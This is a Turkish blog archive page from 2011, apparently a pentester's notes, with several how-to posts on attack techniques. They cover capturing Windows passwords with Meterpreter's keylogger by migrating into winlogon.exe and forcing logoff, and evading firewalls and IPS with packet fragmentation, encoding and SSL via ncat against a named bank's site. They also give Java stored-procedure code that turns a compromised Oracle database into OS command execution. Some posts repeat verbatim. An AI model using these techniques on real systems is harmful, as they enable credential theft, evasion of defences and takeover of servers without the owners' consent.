oluştuğunda web servisin cevabı yerine anlamlı hata mesajı dönmesi bir güvenlik
yöntemidir.
3.
IP filtreleme
Web servisine erişimin IP bazlı
kısıtlanmasını sağlayan politikadır.
4.
WS-Security Kullanıcı bilgileri ekleme
Farklı güvenli protokolleri kullanarak web
serive ulaşmadan daha öncesinde bir kullanıcı kontrol mekanizması oluşturan politikadır.
5.
Routing
Arka planda çalışan servisin gerçek
adresinin tespit edilememesi için ip ve port bazlı yönlendirmeye olanak
sağlayan politikadır
6.
Zaman Filtreleme
Servisin istediğiniz saatler dışında
kullanılmamasını sağlayan politika.
Eğer Yazıyı Beğendiyseniz Aşağıdaki Google Reklamını Tıklamanızı Rica Ediyorum.
Eğer Yazıyı Beğendiyseniz Aşağıdaki Google Reklamını Tıklamanızı Rica Ediyorum.
Referanslar:
[1] Web Servis
Güvenliği Semineri 2011 – Cemal Gemci, Aslı Köksal
[5] https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OWASP-DV-008%29
23 Kasım 2011 Çarşamba
Meterpereter Keylogger Sorunu
Evet,bazen nedense keylogger işlemiyor bu gibi durumlarda meterpereter session ı açtıktan sonra
windows şifresini almak için de önce winlogon.exe processine migrate olmanız gerekiyor.
run keylogrecorder -c 0 komutunu çalıştırırsanız
[*] explorer.exe Process found, migrating into 2812 [*] Migration Successful!! [*] Starting the keystroke sniffer... [*] Keystrokes being saved in to
C:/Users/Faruk/.msf3/logs/scripts/keylogrecorder/....txt [*] Recording
şeklinde bir sonuç alırsınız
yada
meterpreter > getsystem ...got system (via technique 1). meterpreter > run keylogrecorder -c 0 -t 15 [*] spshell.exe Process found, migrating into 1980
bunu deneyebilirsiniz...
windows şifresini almak için de önce winlogon.exe processine migrate olmanız gerekiyor.
meterpreter> ps Process list ============ PID Name Arch Session User --- ---- ---- ------- ---- 0 [System Process] 4 System x86 0 NT AUTHORITY\SYSTEM 544 smss.exe x86 0 NT AUTHORITY\SYSTEM 608 csrss.exe x86 0 NT AUTHORITY\SYSTEM 2976 winlogon.exe x86 0 NT AUTHORITY\SYSTEM meterpreter > migrate 2976 [*] Migrating to 2976... [*] Migration completed successfully.
c - açık olan oturumlardan hangisine bağlanmak istiyorsunuz.
0 varsayılan ilk oturumdur.
l - kişiyi logoff olmaya zorlar bu asyede beklemeden windows
şifresini alabilirsiniz.
t - kaç saniyede bir keyleri almasını istiyorsunuz.
meterpreter> run keylogrecorder -c 1 -l -t 5 [*] Locking Screen... [*] Screen has been locked [*] Starting the keystroke sniffer... [*] Keystrokes being saved in to /root/.msf3/logs/scripts/... [*] Recording
Etiketler:
key logger,
keylogger,
metasploit,
meterpereter,
session
22 Kasım 2011 Salı
Killing user session remotely – windows
Bazen açık kalan session lardan dolayı uzak masaüstü maximum sayıya ulaştı diye bir hata alıyoruz bu durumlarda meterpereter ile session açıp shell e düştükten sonra
qwinsta komutu ile tüm sessionları listeleyebilirsiniz.
örn
SESSIONNAME USERNAME ID STATE TYPE DEVICE
> sysadmin 0 Disc rdpwd
rdp-tcp 65536 Listen rdpwd
console 4 Conn wdcon
rdp-tcp#34 sainflexdb 1 Active rdpwd
rdp-tcp#35 sainflexdb 2 Active rdpwd
sonra logoff [session id] /v komutuyla istediğiniz sessionı sonlandırabilirsiniz.
qwinsta komutu ile tüm sessionları listeleyebilirsiniz.
örn
SESSIONNAME USERNAME ID STATE TYPE DEVICE
> sysadmin 0 Disc rdpwd
rdp-tcp 65536 Listen rdpwd
console 4 Conn wdcon
rdp-tcp#34 sainflexdb 1 Active rdpwd
rdp-tcp#35 sainflexdb 2 Active rdpwd
sonra logoff [session id] /v komutuyla istediğiniz sessionı sonlandırabilirsiniz.
25 Ağustos 2011 Perşembe
Firewall, IPS vb Atlatma
IPS'lerin çok başarılı olamamasının 2 nedeni:
Webden gelen saldırılar
Post-exploitation'da SSL üzerinden (socat, netcat, meterpreter) reverse-shell
Firewall, kural tablosuna (iptable) top-down bakar; bulduğu duruma uyan ilk kuralı çalıştırır ve tabloya bakmayı bırakır.
hackvertor.co.uk/public => Encoding ile ilgili akla gelen tüm yöntemlerin olduğu site.
Firewall var mı kontrolü:
Telnet ile bloklanacak bir talep (GET/POST) gönderilir. Mesela ../../../etc/passwd gibi
Sunucudan cevap dönmemesi (Connection closed by foreign host benzeri bir kesilme) durumunda web sunucuya ulaşmadan istek engelleniyor demektir.
Talebe sunucudan yanıt (response, 404 not found vb) dönmesi, isteğin sunucuya kadar ulaştığını, bir cihaz tarafından kesilmediğini / engellenmediğini gösterir.
Bu kontrolü yaparken telnet kullanmakta fayda var. Doğrudan browser üzerinden yapılacak denemelerde browserlar girilen URL üzerinde gerekli düzenleme yaparak (mesela /etc/./passwd gibi girilecek deneme stringini /etc/passwd olarak düzenleyip göndermek gibi) gönderebilir; istediğimiz kalıbı deneyememiş oluruz.
Atlatma Yöntemi: Packet Fragmentation.
IP fragmentation'ı kullanabilmek için "rp_filter" disable edilir.
$ echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter; ya da
$ echo 0 > /proc/sys/net/ipv4/conf/eth0/rp_filter
Daha sonra fragmentation:
$ fragroute -f /usr/local/etc/fragroute.conf 95.173.123.112
Sonra telnet ile talep gönderilir. IPS doğru yapılandırılmadıysa sonuç sunucudan gelecektir; IPS'i atlattık demektir.
Atlatma Yöntemi: Encoding
Atlatma Yöntemi: SSL Kullanımı
telnet akbank.com 80 yerine
ncat --ssl akbank.com 443 kullanmak.
Layer-7 IPS ile SSL el sıkışma işi IPS tarafından yapılmadığı sürece SSL ile gönderilen taleplerin içeriğini IPS göremeyecek ve dolayısıyla talepler üzerinde kuralları işletemeyecektir.
Yanıtın IPS'ten mi, web/uygulama sunucudan mı döndüğü kontrolü:
Normal bir talep gönderilir; TTL değeri tespit edilir (WireShark vb kullanılabilir)
IPS tarafından engellenecek bir talep gönderilir; TTL değeri tespit edilir
İkisi karşılaştırılır. Sunucu TTL'i 256'dan, IPS 128'den düşüyor olabilir mesela, TTL değerleri oldukça farklı olacaktır bu gibi durumlarda.
LoadBalancer varlığı kontrolü:
Resimvb içerik, varsa loadbalancer cihaz üzerinden servis edilir. Sunucu ile LoadBalancer cihazların TTL politikaları farklıysa yanıtı kimin döndüğünü yorumlayabiliriz.
LoadBalancer atlatma yöntemi: Search. LoadBalancer buna birşey yapamaz. Eş zamanlı birçok arama gönderildiğini düşün.
Eğer Yazıyı Beğendiyseniz Aşağıdaki Google Reklamını Tıklamanızı Rica Ediyorum.
Kaynak: wug.blogspot.com
21 Temmuz 2011 Perşembe
Running shell script from PL/SQL
veritabanını ele geçirdiniz fakat hala işletim sistemine ulaşamıyorsanız önce aşağıdaki sql lleri çalıştırarak gerekli stored procedure u oluşturun
exec dbms_java.grant_permission ('DBA_ADMIN', 'java.io.FilePermission','/usr/bin/ps', 'execute');
exec dbms_java.grant_permission ('DBA_ADMIN','java.lang.RuntimePermission','*','writeFileDescriptor' );
Create or replace and compile
java source named “Util”
as
import java.io.*;
import java.lang.*;
public class Util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int rc = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =
new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
rc = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
rc = -1;
}
finally
{
return rc;
}
}
}
/
create or replace
function RUN_CMD(p_cmd in varchar2) return number
as
language java
name ‘Util.RunThis(java.lang.String) return integer’;
/
create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := run_cmd(p_cmd);
end;
/
sonra sqlplus ta aşağıdaki gibi kullanabilirsiniz.
variable x number;
set serveroutput on
exec dbms_java.set_output(100000);
exec :x := RUN_CMD(‘ls /oracle’);
exec dbms_java.grant_permission ('DBA_ADMIN', 'java.io.FilePermission','/usr/bin/ps', 'execute');
exec dbms_java.grant_permission ('DBA_ADMIN','java.lang.RuntimePermission','*','writeFileDescriptor' );
Create or replace and compile
java source named “Util”
as
import java.io.*;
import java.lang.*;
public class Util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int rc = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =
new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
rc = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
rc = -1;
}
finally
{
return rc;
}
}
}
/
create or replace
function RUN_CMD(p_cmd in varchar2) return number
as
language java
name ‘Util.RunThis(java.lang.String) return integer’;
/
create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := run_cmd(p_cmd);
end;
/
sonra sqlplus ta aşağıdaki gibi kullanabilirsiniz.
variable x number;
set serveroutput on
exec dbms_java.set_output(100000);
exec :x := RUN_CMD(‘ls /oracle’);
Kaydol:
Kayıtlar (Atom)







